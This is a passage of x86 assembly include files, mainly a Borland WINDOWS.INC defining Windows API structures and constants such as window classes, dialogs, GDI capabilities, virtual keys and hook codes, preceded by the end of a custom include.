si_hStdError HANDLE 0 ;standard error handle
STARTUPINFO ends
STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4

SYSTEMTIME struct
wYear WORD 0 ;current year
wMonth WORD 0 ;current month (1..12)
wDayOfWeek WORD 0 ;day of week (0 = sunday)
wDay WORD 0 ;current day of the month
wHour WORD 0 ;current hour
wMinute WORD 0 ;current minute
wSecond WORD 0 ;current second
wMilliseconds WORD 0 ;current millisecond
SYSTEMTIME ends
SYSTEMTIME_ equ 2+2+2+2+2+2+2+2
;

WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)


WIN32_FIND_DATA struct
fd_dwFileAttributes DWORD 0 ;file attributes
fd_ftCreationTime DWORD 0, 0 ;time of file creation
fd_ftLastAccessTime DWORD 0, 0 ;time of last file access
fd_ftLastWriteTime DWORD 0, 0 ;time of last write access
fd_nFileSizeHigh DWORD 0 ;high-order word of file size
fd_nFileSizeLow DWORD 0 ;low-order word of file size
fd_dwReserved0 DWORD 0 ;(reserved)
fd_dwReserved1 DWORD 0 ;(reserved)
fd_cFileName CHAR 260 dup(0) ;matching file name
fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name
WIN32_FIND_DATA ends
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDOWS.INC]ÄÄÄ
;*************************************************************************
;
; WINDOWS.INC - Windows assembly language structures & constants
;
;*************************************************************************
;
;
; C/C++ Run Time Library - Version 7.0
;
; Copyright (c) 1985, 1996 by Borland International
; All Rights Reserved.
;
;
; Conditional Block includes: (True states)
; NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.
; NORASTOPS - don't include binary and ternary raster ops.
; NOVK - don't include virtual key definitions
; NOMB - don't include message box definitions
; NOWM - don't include window messages
;
;
FALSE = 0
TRUE = 1
NULL = 0

;*******************************************************************
;
; Misc EQU's
;
;*******************************************************************

SB_SETTEXTA equ WM_USER+01


SB_GETTEXTA equ WM_USER+02
SB_GETTEXTLENGTHA equ WM_USER+03
SB_SETPARTS equ WM_USER+04
SB_GETPARTS equ WM_USER+06
SB_GETBORDERS equ WM_USER+07
SB_SETMINHEIGHT equ WM_USER+08
SB_SIMPLE equ WM_USER+09
SB_GETRECT equ WM_USER+10
SB_SETTEXTW equ WM_USER+11
SB_GETTEXTLENGTHW equ WM_USER+12
SB_GETTEXTW equ WM_USER+13

GCL_MENUNAME equ -8
GCL_HBRBACKGROUND equ -10
GCL_HCURSOR equ -12
GCL_HICON equ -14
GCL_HMODULE equ -16
GCL_CBWNDEXTRA equ -18
GCL_CBCLSEXTRA equ -20
GCL_WNDPROC equ -24
GCL_STYLE equ -26

PBM_SETRANGE equ WM_USER+1


PBM_SETPOS equ WM_USER+2
PBM_DELTAPOS equ WM_USER+3
PBM_SETSTEP equ WM_USER+4
PBM_STEPIT equ WM_USER+5

ICON_SMALL equ 0
DEFAULT_PITCH equ 0
DEFAULT_QUALITY equ 0
OEM_CHARSET equ 255
CLIP_CHARACTER_PRECIS equ 1
CLIP_DEFAULT_PRECIS equ 0
OUT_DEFAULT_PRECIS equ 0

;*******************************************************************
;
; Window Class
;
;*******************************************************************

DLGWINDOWEXTRA equ 30

WNDCLASSEX STRUCT
wc_cbSize DWORD ?
wc_style DWORD ?
wc_lpfnWndProc DWORD ?
wc_cbClsExtra DWORD ?
wc_cbWndExtra DWORD ?
wc_hInstance DWORD ?
wc_hIcon DWORD ?
wc_hCursor DWORD ?
wc_hbrBackground DWORD ?
wc_lpszMenuName DWORD ?
wc_lpszClassName DWORD ?
wc_hIconSm DWORD ?
WNDCLASSEX ENDS

;*******************************************************************
;
; Message Structure
;
;*******************************************************************

MSG STRUCT
msg_hwnd DWORD ?
msg_message DWORD ?
msg_wParam DWORD ?
msg_lParam DWORD ?
msg_time DWORD ?
msg_pt QWORD ?
MSG ENDS

;*******************************************************************
;
; Open Filename Dialog
;
;*******************************************************************

OPENFILENAME STRUCT
of_lStructSize DWORD ?
of_hWndOwner DWORD ?
of_hInstance DWORD ?
of_lpstrFilter DWORD ?
of_lpstrCustomFilter DWORD ?
of_nMaxCustFilter DWORD ?
of_nFilterIndex DWORD ?
of_lpstrFile DWORD ?
of_nMaxFile DWORD ?
of_lpstrFileTitle DWORD ?
of_nMaxFileTitle DWORD ?
of_lpstrInitialDir DWORD ?
of_lpstrTitle DWORD ?
of_Flags DWORD ?
of_nFileOffset WORD ?
of_nFileExtension WORD ?
of_lpstrDefExt DWORD ?
of_lCustData DWORD ?
of_lpfnHook DWORD ?
of_lpTemplateName DWORD ?
OPENFILENAME ENDS

OFN_ALLOWMULTISELECT equ 00000200h


OFN_CREATEPROMPT equ 00002000h
OFN_ENABLEHOOK equ 00000020h
OFN_ENABLETEMPLATE equ 00000040h
OFN_ENABLETEMPLATEHANDLE equ 00000080h
OFN_EXPLORER equ 00080000h
OFN_EXTENSIONDIFFERENT equ 00000400h
OFN_FILEMUSTEXIST equ 00001000h
OFN_HIDEREADONLY equ 00000004h
OFN_LONGNAMES equ 00200000h
OFN_NOCHANGEDIR equ 00000008h
OFN_NODEREFERENCELINKS equ 00100000h
OFN_NOLONGNAMES equ 00040000h
OFN_NONETWORKBUTTON equ 00020000h
OFN_NOREADONLYRETURN equ 00008000h
OFN_NOTESTFILECREATE equ 00010000h
OFN_NOVALIDATE equ 00000100h
OFN_OVERWRITEPROMPT equ 00000002h
OFN_PATHMUSTEXIST equ 00000800h
OFN_READONLY equ 00000001h
OFN_SHAREAWARE equ 00004000h
OFN_SHOWHELP equ 00000010h
OFN_SHAREFALLTHROUGH equ 2
OFN_SHARENOWARN equ 1
OFN_SHAREWARN equ 0

;*******************************************************************
;
; List View Control
;
;*******************************************************************

LVM_GETITEM equ LVM_FIRST + 5


LVM_GETITEMW equ LVM_FIRST + 75
LVM_SETITEM equ LVM_FIRST + 6
LVM_SETITEMW equ LVM_FIRST + 76
LVM_INSERTITEM equ LVM_FIRST + 7
LVM_INSERTITEMW equ LVM_FIRST + 77
LVM_DELETEITEM equ LVM_FIRST + 8
LVM_DELETEALLITEMS equ LVM_FIRST + 9
LVM_GETCALLBACKMASK equ LVM_FIRST + 10
LVM_FIRST equ 1000h
LVM_SETCALLBACKMASK equ LVM_FIRST + 11
LVM_GETITEMRECT equ LVM_FIRST + 14
LVM_SETITEMPOSITION equ LVM_FIRST + 15
LVM_GETITEMPOSITION equ LVM_FIRST + 16
LVM_GETSTRINGWIDTH equ LVM_FIRST + 17
LVM_GETSTRINGWIDTHW equ LVM_FIRST + 87
LVCF_FMT equ 0001h
LVCF_WIDTH equ 0002h
LVCF_TEXT equ 0004h
LVCF_SUBITEM equ 0008h
LVCFMT_LEFT equ 0000h
LVCFMT_RIGHT equ 0001h
LVCFMT_CENTER equ 0002h
LVCFMT_JUSTIFYMASK equ 0003h
LVM_GETCOLUMN equ LVM_FIRST + 25
LVM_GETCOLUMNW equ LVM_FIRST + 95
LVM_SETCOLUMN equ LVM_FIRST + 26
LVM_SETCOLUMNW equ LVM_FIRST + 96
LVM_INSERTCOLUMN equ LVM_FIRST + 27
LVM_INSERTCOLUMNW equ LVM_FIRST + 97
LVM_DELETECOLUMN equ LVM_FIRST + 28
LVM_GETCOLUMNWIDTH equ LVM_FIRST + 29
LVIF_TEXT equ 0001h
LVIF_IMAGE equ 0002h
LVIF_PARAM equ 0004h
LVIF_STATE equ 0008h

LV_ITEM STRUC
lvi_imask DWORD ?
lvi_iItem DWORD ?
lvi_iSubItem DWORD ?
lvi_state DWORD ?
lvi_stateMask DWORD ?
lvi_pszText DWORD ?
lvi_cchTextMax DWORD ?
lvi_iImage DWORD ?
lvi_lParam DWORD ?
lvi_iIndent DWORD ?
LV_ITEM ENDS

LV_FINDINFO STRUC
lvfi_flags DWORD ?
lvfi_psz DWORD ?
lvfi_lParam DWORD ?
lvfi_pt QWORD ?
lvfi_vkDirection DWORD ?
LV_FINDINFO ENDS

LV_HITTESTINFO STRUC
lvht_pt QWORD ?
lvht_flags DWORD ?
lvht_iItem DWORD ?
LV_HITTESTINFO ENDS

LV_COLUMN STRUC
lvc_imask DWORD ?
lvc_fmt DWORD ?
lvc_lx DWORD ?
lvc_pszText DWORD ?
lvc_cchTextMax DWORD ?
lvc_iSubItem DWORD ?
LV_COLUMN ENDS

;*******************************************************************
;
; Rectangle
;
;*******************************************************************

RECT struc
rcLeft dd ?
rcTop dd ?
rcRight dd ?
rcBottom dd ?
RECT ends

;*******************************************************************
;
; Window Class structure
;
;*******************************************************************

WNDCLASS struc
clsStyle dw ? ; class style
clsLpfnWndProc dd ?
clsCbClsExtra dw ?
clsCbWndExtra dw ?
clsHInstance dw ? ; instance handle
clsHIcon dw ? ; class icon handle
clsHCursor dw ? ; class cursor handle
clsHbrBackground dw ? ; class background brush
clsLpszMenuName dd ? ; menu name
clsLpszClassName dd ? ; far ptr to class name
WNDCLASS ends

IFNDEF NOTEXT
TEXTMETRIC struc
tmHeight dw ?
tmAscent dw ?
tmDescent dw ?
tmIntLeading dw ?
tmExtLeading dw ?
tmAveCharWidth dw ?
tmMaxCharWidth dw ?
tmWeight dw ?
tmItalic db ?
tmUnderlined db ?
tmStruckOut db ?
tmFirstChar db ?
tmLastChar db ?
tmDefaultChar db ?
tmBreakChar db ?
tmPitch db ?
tmCharSet db ?
tmOverhang dw ?
tmAspectX dw ?
tmAspectY dw ?
TEXTMETRIC ends

LF_FACESIZE EQU 32

LOGFONT struc
lfHeight dw ?
lfWidth dw ?
lfEscapement dw ?
lfOrientation dw ?
lfWeight dw ?
lfItalic db ?
lfUnderline db ?
lfStrikeOut db ?
lfCharSet db ?
lfOutPrecision db ?
lfClipPrecision db ?
lfQuality db ?
lfPitchAndFamily db ?
lfFaceName db LF_FACESIZE dup(?)
LOGFONT ends

LOGBRUSH struc
lbStyle dw ?
lbColor dd ?
lbHatch dw ?
LOGBRUSH ends

;
; Text Drawing modes
;
TRANSPARENT = 1
OPAQUE = 2
;
; Mapping Modes
;
MM_TEXT = 1
MM_LOMETRIC = 2
MM_HIMETRIC = 3
MM_LOENGLISH = 4
MM_HIENGLISH = 5
MM_TWIPS = 6
MM_ISOTROPIC = 7
MM_ANISOTROPIC = 8
;
; Coordinate Modes
;
ABSOLUTE = 1
RELATIVE = 2
;
; Stock Logical Objects
;
WHITE_BRUSH = 0
LTGRAY_BRUSH = 1
GRAY_BRUSH = 2
DKGRAY_BRUSH = 3
BLACK_BRUSH = 4
NULL_BRUSH = 5
HOLLOW_BRUSH = 5
WHITE_PEN = 6
BLACK_PEN = 7
NULL_PEN = 8
DOT_MARKER = 9
OEM_FIXED_FONT = 10
ANSI_FIXED_FONT = 11
ANSI_VAR_FONT = 12
SYSTEM_FONT = 13
DEVICE_DEFAULT_FONT = 14
DEFAULT_PALETTE = 15
SYSTEM_FIXED_FONT = 16
ENDIF
;
; Brush Styles
;
BS_SOLID = 0
BS_NULL = 1
BS_HOLLOW = BS_NULL
BS_HATCHED = 2
BS_PATTERN = 3
BS_INDEXED = 4
BS_DIBPATTERN = 5
;
; Hatch Styles
;
HS_HORIZONTAL = 0 ; -----
HS_VERTICAL = 1 ; |||||
HS_FDIAGONAL = 2 ; \\\\\
HS_BDIAGONAL = 3 ; /////
HS_CROSS = 4 ; +++++
HS_DIAGCROSS = 5 ; xxxxx
;
; Pen Styles
;
PS_SOLID = 0
PS_DASH = 1 ; -------
PS_DOT = 2 ; .......
PS_DASHDOT = 3 ; _._._._
PS_DASHDOTDOT = 4 ; _.._.._
PS_NULL = 5
PS_INSIDEFRAME = 6
;
; Device Parameters for GetDeviceCaps()
;
DRIVERVERSION =0 ; Device driver version
TECHNOLOGY =2 ; Device classification
HORZSIZE =4 ; Horizontal size in millimeters
VERTSIZE =6 ; Vertical size in millimeters
HORZRES =8 ; Horizontal width in pixels
VERTRES =10 ; Vertical width in pixels
BITSPIXEL =12 ; Number of bits per pixel
PLANES =14 ; Number of planes
NUMBRUSHES =16 ; Number of brushes the device has
NUMPENS =18 ; Number of pens the device has
NUMMARKERS =20 ; Number of markers the device has
NUMFONTS =22 ; Number of fonts the device has
NUMCOLORS =24 ; Number of colors the device supports
PDEVICESIZE =26 ; Size required for device descriptor
CURVECAPS =28 ; Curve capabilities
LINECAPS =30 ; Line capabilities
POLYGONALCAPS =32 ; Polygonal capabilities
TEXTCAPS =34 ; Text capabilities
CLIPCAPS =36 ; Clipping capabilities
RASTERCAPS =38 ; Bitblt capabilities
ASPECTX =40 ; Length of the X leg
ASPECTY =42 ; Length of the Y leg
ASPECTXY =44 ; Length of the hypotenuse

LOGPIXELSX =88 ; Logical pixels/inch in X


LOGPIXELSY =90 ; Logical pixels/inch in Y

SIZEPALETTE =104 ; Number of entries in physical palette


NUMRESERVED =106 ; Number of reserved entries in palette
COLORRES =108 ; Actual color resolution
;
ifndef NOGDICAPMASKS
;
; Device Capability Masks:
;
; Device Technologies
DT_PLOTTER = 0 ; /* Vector plotter */
DT_RASDISPLAY = 1 ; /* Raster display */
DT_RASPRINTER = 2 ; /* Raster printer */
DT_RASCAMERA = 3 ; /* Raster camera */
DT_CHARSTREAM = 4 ; /* Character-stream, PLP */
DT_METAFILE = 5 ; /* Metafile, VDM */
DT_DISPFILE = 6 ; /* Display-file */
;
; Curve Capabilities
CC_NONE = 0 ; /* Curves not supported */
CC_CIRCLES = 1 ; /* Can do circles */
CC_PIE = 2 ; /* Can do pie wedges */
CC_CHORD = 4 ; /* Can do chord arcs */
CC_ELLIPSES = 8 ; /* Can do ellipese */
CC_WIDE = 16 ; /* Can do wide lines */
CC_STYLED = 32 ; /* Can do styled lines */
CC_WIDESTYLED = 64 ; /* Can do wide styled lines */
CC_INTERIORS = 128; /* Can do interiors */
;
; Line Capabilities
LC_NONE = 0 ; /* Lines not supported */
LC_POLYLINE = 2 ; /* Can do polylines */
LC_MARKER = 4 ; /* Can do markers */
LC_POLYMARKER = 8 ; /* Can do polymarkers */
LC_WIDE = 16 ; /* Can do wide lines */
LC_STYLED = 32 ; /* Can do styled lines */
LC_WIDESTYLED = 64 ; /* Can do wide styled lines */
LC_INTERIORS = 128; /* Can do interiors */
;
; Polygonal Capabilities
PC_NONE = 0 ; /* Polygonals not supported */
PC_POLYGON = 1 ; /* Can do polygons */
PC_RECTANGLE = 2 ; /* Can do rectangles */
PC_WINDPOLYGON = 4 ; /* Can do winding polygons */
PC_TRAPEZOID = 4 ; /* Can do trapezoids */
PC_SCANLINE = 8 ; /* Can do scanlines */
PC_WIDE = 16 ; /* Can do wide borders */
PC_STYLED = 32 ; /* Can do styled borders */
PC_WIDESTYLED = 64 ; /* Can do wide styled borders */
PC_INTERIORS = 128; /* Can do interiors */
;
; Polygonal Capabilities */
CP_NONE = 0 ; /* No clipping of output */
CP_RECTANGLE = 1 ; /* Output clipped to rects */
;
; Text Capabilities
TC_OP_CHARACTER = 0001h ; /* Can do OutputPrecision CHARACTER */
TC_OP_STROKE = 0002h ; /* Can do OutputPrecision STROKE */
TC_CP_STROKE = 0004h ; /* Can do ClipPrecision STROKE */
TC_CR_90 = 0008h ; /* Can do CharRotAbility 90 */
TC_CR_ANY = 0010h ; /* Can do CharRotAbility ANY */
TC_SF_X_YINDEP = 0020h ; /* Can do ScaleFreedom X_YINDEPENDENT */
TC_SA_DOUBLE = 0040h ; /* Can do ScaleAbility DOUBLE */
TC_SA_INTEGER = 0080h ; /* Can do ScaleAbility INTEGER */
TC_SA_CONTIN = 0100h ; /* Can do ScaleAbility CONTINUOUS */
TC_EA_DOUBLE = 0200h ; /* Can do EmboldenAbility DOUBLE */
TC_IA_ABLE = 0400h ; /* Can do ItalisizeAbility ABLE */
TC_UA_ABLE = 0800h ; /* Can do UnderlineAbility ABLE */
TC_SO_ABLE = 1000h ; /* Can do StrikeOutAbility ABLE */
TC_RA_ABLE = 2000h ; /* Can do RasterFontAble ABLE */
TC_VA_ABLE = 4000h ; /* Can do VectorFontAble ABLE */
TC_RESERVED = 8000h
;
; Raster Capabilities
RC_BITBLT = 1 ; /* Can do standard BLT. */
RC_BANDING = 2 ; /* Device requires banding support */
RC_SCALING = 4 ; /* Device requires scaling support */
RC_BITMAP64 = 8 ; /* Device can support >64K bitmap */
RC_GDI20_OUTPUT = 0010h ; /* has 2.0 output calls */
RC_DI_BITMAP = 0080h ; /* supports DIB to memory */
RC_PALETTE = 0100h ; /* supports a palette */
RC_DIBTODEV = 0200h ; /* supports DIBitsToDevice */
RC_BIGFONT = 0400h ; /* supports >64K fonts */
RC_STRETCHBLT = 0800h ; /* supports StretchBlt */
RC_FLOODFILL = 1000h ; /* supports FloodFill */
RC_STRETCHDIB = 2000h ; /* supports StretchDIBits */

endif ;NOGDICAPMASKS

; palette entry flags


;
PC_RESERVED = 1 ;/* palette index used for animation */
PC_EXPLICIT = 2 ;/* palette index is explicit to device */
PC_NOCOLLAPSE = 4 ;/* do not match color to system palette */

; DIB color table identifiers


;
DIB_RGB_COLORS = 0 ;/* color table in RGBTriples */
DIB_PAL_COLORS = 1 ;/* color table in palette indices */
;

;constants for Get/SetSystemPaletteUse()


;
SYSPAL_STATIC = 1
SYSPAL_NOSTATIC = 2

; constants for CreateDIBitmap


CBM_INIT = 4 ;/* initialize bitmap */
;
; Bitmap format constants
BI_RGB = 0
BI_RLE8 = 1
BI_RLE4 = 2
;
;
ANSI_CHARSET = 0
SYMBOL_CHARSET = 2
OEM_CHARSET = 255
;
; styles for CombineRgn
;
RGN_AND = 1
RGN_OR = 2
RGN_XOR = 3
RGN_DIFF = 4
RGN_COPY = 5
;
; Predefined cursor & icon IDs
;
IDC_ARROW = 32512
IDC_IBEAM = 32513
IDC_WAIT = 32514
IDC_CROSS = 32515
IDC_UPARROW = 32516
IDC_SIZE = 32640
IDC_ICON = 32641
IDC_SIZENWSE = 32642
IDC_SIZENESW = 32643
IDC_SIZEWE = 32644
IDC_SIZENS = 32645

IDI_APPLICATION = 32512
IDI_HAND = 32513
IDI_QUESTION = 32514
IDI_EXCLAMATION = 32515
IDI_ASTERISK = 32516

;
; OEM Resource Ordinal Numbers */
;
OBM_CLOSE = 32754
OBM_UPARROW = 32753
OBM_DNARROW = 32752
OBM_RGARROW = 32751
OBM_LFARROW = 32750
OBM_REDUCE = 32749
OBM_ZOOM = 32748
OBM_RESTORE = 32747
OBM_REDUCED = 32746
OBM_ZOOMD = 32745
OBM_RESTORED = 32744
OBM_UPARROWD = 32743
OBM_DNARROWD = 32742
OBM_RGARROWD = 32741
OBM_LFARROWD = 32740
OBM_MNARROW = 32739
OBM_COMBO = 32738
OBM_UPARROWI = 32737
OBM_DNARROWI = 32736
OBM_RGARROWI = 32735
OBM_LFARROWI = 32734

OBM_OLD_CLOSE = 32767
OBM_SIZE = 32766
OBM_OLD_UPARROW = 32765
OBM_OLD_DNARROW = 32764
OBM_OLD_RGARROW = 32763
OBM_OLD_LFARROW = 32762
OBM_BTSIZE = 32761
OBM_CHECK = 32760
OBM_CHECKBOXES = 32759
OBM_BTNCORNERS = 32758
OBM_OLD_REDUCE = 32757
OBM_OLD_ZOOM = 32756
OBM_OLD_RESTORE = 32755

OCR_NORMAL = 32512
OCR_IBEAM = 32513
OCR_WAIT = 32514
OCR_CROSS = 32515
OCR_UP = 32516
OCR_SIZE = 32640
OCR_ICON = 32641
OCR_SIZENWSE = 32642
OCR_SIZENESW = 32643
OCR_SIZEWE = 32644
OCR_SIZENS = 32645
OCR_SIZEALL = 32646
OCR_ICOCUR = 32647

OIC_SAMPLE = 32512
OIC_HAND = 32513
OIC_QUES = 32514
OIC_BANG = 32515
OIC_NOTE = 32516

;
; Scroll bar constants
;
SB_HORZ = 0
SB_VERT = 1
SB_CTL = 2
SB_BOTH = 3
;
; Scroll Commands
;
SB_LINEUP = 0
SB_LINEDOWN = 1
SB_PAGEUP = 2
SB_PAGEDOWN = 3
SB_THUMBPOSITION = 4
SB_THUMBTRACK = 5
SB_TOP = 6
SB_BOTTOM = 7
SB_ENDSCROLL = 8
;
; MessageBox type flags
;
IFNDEF NOMB
MB_OK = 0000H
MB_OKCANCEL = 0001H
MB_ABORTRETRYIGNORE = 0002H
MB_YESNOCANCEL = 0003H
MB_YESNO = 0004H
MB_RETRYCANCEL = 0005H

MB_ICONHAND = 0010H
MB_ICONQUESTION = 0020H
MB_ICONEXCLAMATION = 0030H
MB_ICONASTERISK = 0040H

MB_DEFBUTTON1 = 0000H
MB_DEFBUTTON2 = 0100H
MB_DEFBUTTON3 = 0200H

MB_APPLMODAL = 0000H
MB_SYSTEMMODAL = 1000H
MB_TASKMODAL = 2000H

MB_NOFOCUS = 8000H

;
; Conventional dialog box and message box command IDs
;
IDOK = 1
IDCANCEL = 2
IDABORT = 3
IDRETRY = 4
IDIGNORE = 5
IDYES = 6
IDNO = 7
;
; Flags for OpenFile
;
OF_READ = 0000H
OF_WRITE = 0001H
OF_READWRITE = 0002H
OF_SHARE_COMPAT = 0000H
OF_SHARE_EXCLUSIVE = 0010H
OF_SHARE_DENY_WRITE = 0020H
OF_SHARE_DENY_READ = 0030H
OF_SHARE_DENY_NONE = 0040H
OF_PARSE = 0100H
OF_DELETE = 0200H
OF_VERIFY = 0400H ; Used with OF_REOPEN
OF_SEARCH = 0400H ; Used without OF_REOPEN
OF_CANCEL = 0800H
OF_CREATE = 1000H
OF_PROMPT = 2000H
OF_EXIST = 4000H
OF_REOPEN = 8000H

TF_FORCEDRIVE = 80H

OPENSTRUC STRUC
opLen db ?
opDisk db ?
opXtra dw ?
opDate dw ?
opTime dw ?
opFile db 120 dup (?)
OPENSTRUC ENDS
;
; DrawText format flags
;
DT_LEFT = 00H
DT_CENTER = 01H
DT_RIGHT = 02H
DT_TOP = 00H
DT_VCENTER = 04H
DT_BOTTOM = 08H
DT_WORDBREAK = 10H
DT_SINGLELINE = 20H
DT_EXPANDTABS = 40H
DT_TABSTOP = 80H
DT_NOCLIP = 0100H
DT_EXTERNALLEADING = 0200H
DT_CALCRECT = 0400H
DT_NOPREFIX = 0800H
DT_INTERNAL = 1000H
ENDIF

;
; ExtFloodFill style flags
;
FLOODFILLBORDER = 0
FLOODFILLSURFACE = 1

;
; Memory manager flags
;
LMEM_FIXED = 0000h
LMEM_MOVEABLE = 0002h
LMEM_NOCOMPACT = 0010H
LMEM_NODISCARD = 0020H
LMEM_ZEROINIT = 0040h
LMEM_MODIFY = 0080H
LMEM_DISCARDABLE= 0F00h
LHND = LMEM_MOVEABLE+LMEM_ZEROINIT
LPTR = LMEM_FIXED+LMEM_ZEROINIT
; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)
LMEM_DISCARDED = 4000H
LMEM_LOCKCOUNT = 00FFH

NONZEROLHND = LMEM_MOVEABLE
NONZEROLPTR = LMEM_FIXED

GMEM_FIXED = 0000h
GMEM_MOVEABLE = 0002h
GMEM_NOCOMPACT = 0010h
GMEM_NODISCARD = 0020h
GMEM_ZEROINIT = 0040h
GMEM_MODIFY = 0080h
GMEM_DISCARDABLE= 0100h
GMEM_NOT_BANKED = 1000h
GMEM_DDESHARE = 2000h
GMEM_SHARE = 2000h
GMEM_NOTIFY = 4000h
GMEM_LOWER = GMEM_NOT_BANKED
GHND = GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR = GMEM_FIXED+GMEM_ZEROINIT

; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)


GMEM_DISCARDED = 4000h
GMEM_LOCKCOUNT = 00FFh

; Flags returned by GetWinFlags

WF_PMODE = 0001h
WF_CPU286 = 0002h
WF_CPU386 = 0004h
WF_CPU486 = 0008h
WF_STANDARD = 0010h
WF_WIN286 = 0010h
WF_ENHANCED = 0020h
WF_WIN386 = 0020h
WF_CPU086 = 0040h
WF_CPU186 = 0080h
WF_LARGEFRAME = 0100h
WF_SMALLFRAME = 0200h
WF_80x87 = 0400h
WF_PAGING = 0800h
WF_WLO = 8000h

; WEP fSystemExit flag values


WEP_SYSTEM_EXIT = 1
WEP_FREE_DLL = 0

; Virtual Keys, Standard Set

IFNDEF NOVK
VK_LBUTTON = 01H
VK_RBUTTON = 02H
VK_CANCEL = 03H
VK_BACK = 08H
VK_TAB = 09H
VK_CLEAR = 0cH
VK_RETURN = 0dH
VK_SHIFT = 10H
VK_CONTROL = 11H
VK_MENU = 12H
VK_PAUSE = 13H
VK_CAPITAL = 14H
VK_ESCAPE = 1bH
VK_SPACE = 20H

VK_PRIOR = 21H
VK_NEXT = 22H
VK_END = 23H
VK_HOME = 24H
VK_LEFT = 25H
VK_UP = 26H
VK_RIGHT = 27H
VK_DOWN = 28H

; VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'
; VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'

VK_PRINT = 2aH
VK_EXECUTE = 2bH
VK_SNAPSHOT = 2ch ; Printscreen key..
VK_INSERT = 2dH
VK_DELETE = 2eH
VK_HELP = 2fH

VK_NUMPAD0 = 60H
VK_NUMPAD1 = 61H
VK_NUMPAD2 = 62H
VK_NUMPAD3 = 63H
VK_NUMPAD4 = 64H
VK_NUMPAD5 = 65H
VK_NUMPAD6 = 66H
VK_NUMPAD7 = 67H
VK_NUMPAD8 = 68H
VK_NUMPAD9 = 69H
VK_MULTIPLY = 6AH
VK_ADD = 6BH
VK_SEPARATER = 6CH
VK_SUBTRACT = 6DH
VK_DECIMAL = 6EH
VK_DIVIDE = 6FH

VK_F1 = 70H
VK_F2 = 71H
VK_F3 = 72H
VK_F4 = 73H
VK_F5 = 74H
VK_F6 = 75H
VK_F7 = 76H
VK_F8 = 77H
VK_F9 = 78H
VK_F10 = 79H
VK_F11 = 7aH
VK_F12 = 7bH
VK_F13 = 7cH
VK_F14 = 7dH
VK_F15 = 7eH
VK_F16 = 7fH
VK_F17 = 80H
VK_F18 = 81H
VK_F19 = 82H
VK_F20 = 83H
VK_F21 = 84H
VK_F22 = 85H
VK_F23 = 86H
VK_F24 = 87H

VK_NUMLOCK = 90H
VK_SCROLL = 91H
ENDIF

IFNDEF NOWH

; SetWindowsHook() codes
WH_MSGFILTER = (-1)
WH_JOURNALRECORD = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD = 2
WH_GETMESSAGE = 3
WH_CALLWNDPROC = 4
IFNDEF NOWIN31
WH_CBT = 5
WH_SYSMSGFILTER = 6
WH_MOUSE = 7
WH_HARDWARE = 8
WH_DEBUG = 9
ENDIF
;
; Hook Codes
HC_GETLPLPFN = (-3)
HC_LPLPFNNEXT = (-2)
HC_LPFNNEXT = (-1)
HC_ACTION = 0
HC_GETNEXT = 1
HC_SKIP = 2
HC_NOREM = 3
HC_NOREMOVE = 3
HC_SYSMODALON = 4
HC_SYSMODALOFF = 5
;
; CBT Hook Codes
HCBT_MOVESIZE = 0
HCBT_MINMAX = 1
HCBT_QS = 2
HCBT_CREATEWND = 3
HCBT_DESTROYWND = 4
HCBT_ACTIVATE = 5
HCBT_CLICKSKIPPED = 6
HCBT_KEYSKIPPED = 7
HCBT_SYSCOMMAND = 8
HCBT_SETFOCUS = 9

;
; WH_MSGFILTER Filter Proc Codes
MSGF_DIALOGBOX = 0
MSGF_MENU = 2
MSGF_MOVE = 3
MSGF_SIZE = 4
MSGF_SCROLLBAR = 5
MSGF_NEXTWINDOW = 6
;
; Window Manager Hook Codes
WC_INIT = 1
WC_SWP = 2
WC_DEFWINDOWPROC = 3
WC_MINMAX = 4
WC_MOVE = 5
WC_SIZE = 6
WC_DRAWCAPTION = 7
;

; Message Structure used in Journaling


EVENTMSG struc
message dw ?
paramL dw ?
paramH dw ?
time dd ?
EVENTMSG ends

ENDIF ;NOWH

; Window field offsets for GetWindowLong() and GetWindowWord()


GWL_WNDPROC = (-4)
GWW_HINSTANCE = (-6)
GWW_HWNDPARENT = (-8)
GWW_ID = (-12)
GWL_STYLE = (-16)
GWL_EXSTYLE = (-20)

; GetWindow() Constants
GW_HWNDFIRST = 0
GW_HWNDLAST = 1
GW_HWNDNEXT = 2
GW_HWNDPREV = 3
GW_OWNER = 4
GW_CHILD = 5

; Class field offsets for GetClassLong() and GetClassWord()


GCL_MENUNAME = (-8)
GCW_HBRBACKGROUND = (-10)
GCW_HCURSOR = (-12)
GCW_HICON = (-14)
GCW_HMODULE = (-16)
GCW_CBWNDEXTRA = (-18)
GCW_CBCLSEXTRA = (-20)
GCL_WNDPROC = (-24)
GCW_STYLE = (-26)

; WinWhere() Area Codes


HTERROR = (-2)
HTTRANSPARENT = (-1)
HTNOWHERE = 0
HTCLIENT = 1
HTCAPTION = 2
HTSYSMENU = 3
HTGROWBOX = 4
HTSIZE = HTGROWBOX
HTMENU = 5
HTHSCROLL = 6
HTVSCROLL = 7
HTREDUCE = 8
HTZOOM = 9
HTLEFT = 10
HTRIGHT = 11
HTTOP = 12
HTTOPLEFT = 13
HTTOPRIGHT = 14
HTBOTTOM = 15
HTBOTTOMLEFT = 16
HTBOTTOMRIGHT = 17
HTSIZEFIRST = HTLEFT
HTSIZELAST = HTBOTTOMRIGHT

;*************************************************************************
;
; Misc structures & constants
;
;*************************************************************************

IFNDEF NOMST
POINT struc
ptX dw ?
ptY dw ?
POINT ends

LOGPEN struc
lopnStyle dw ?
lopnWidth db (SIZE POINT) DUP(?)
